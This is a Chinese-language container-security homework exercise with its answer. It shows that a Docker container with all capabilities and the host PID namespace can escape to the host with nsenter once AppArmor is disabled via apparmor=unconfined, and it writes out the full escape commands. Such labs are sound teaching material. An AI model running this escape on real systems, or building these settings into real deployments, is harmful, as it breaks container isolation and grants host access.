作業8 題目 : 我們都知道開啟特權容器會關閉 Seccomp、Apparmor 等相關機制,造成無法測試掛載 host pid 的逃逸手法,但假如給予今天給予容器所有的能力並掛載 host pid,到底是否能夠順利逃逸呢? 假如不行的話,驗證一下是不是 Apparmor 搞的鬼。
解答 : 這題主要是想驗證各位是否了解 apparmor 的機制開啟關閉方式以及容器的 CAP 概念,執行步驟如下。
# 先針對題目情境建立對應環境,給予全部能力並且掛載 host pid
docker run --rm -it --cap-add ALL --pid host aeifkz/my-ubuntu:v1.0 bash ;
# 驗證一下 Cap 能力部分
cat /proc/$$/status | grep CapEff ;
# 確認一下 pid 為 1 對應到的 process
ps aux | head -n 5 ;
# 使用逃逸手法,會發現權限不夠
nsenter -m -u -i -n -p -t 1 bash ;
# 離開容器再來一遍
exit ;
# 依照提示關掉 apparmor 試試看
docker run --rm -it --cap-add ALL --pid host --security-opt apparmor=unconfined aeifkz/my-ubuntu:v1.0 bash ;
# 使用逃逸手法,會發現過了
nsenter -m -u -i -n -p -t 1 bash ;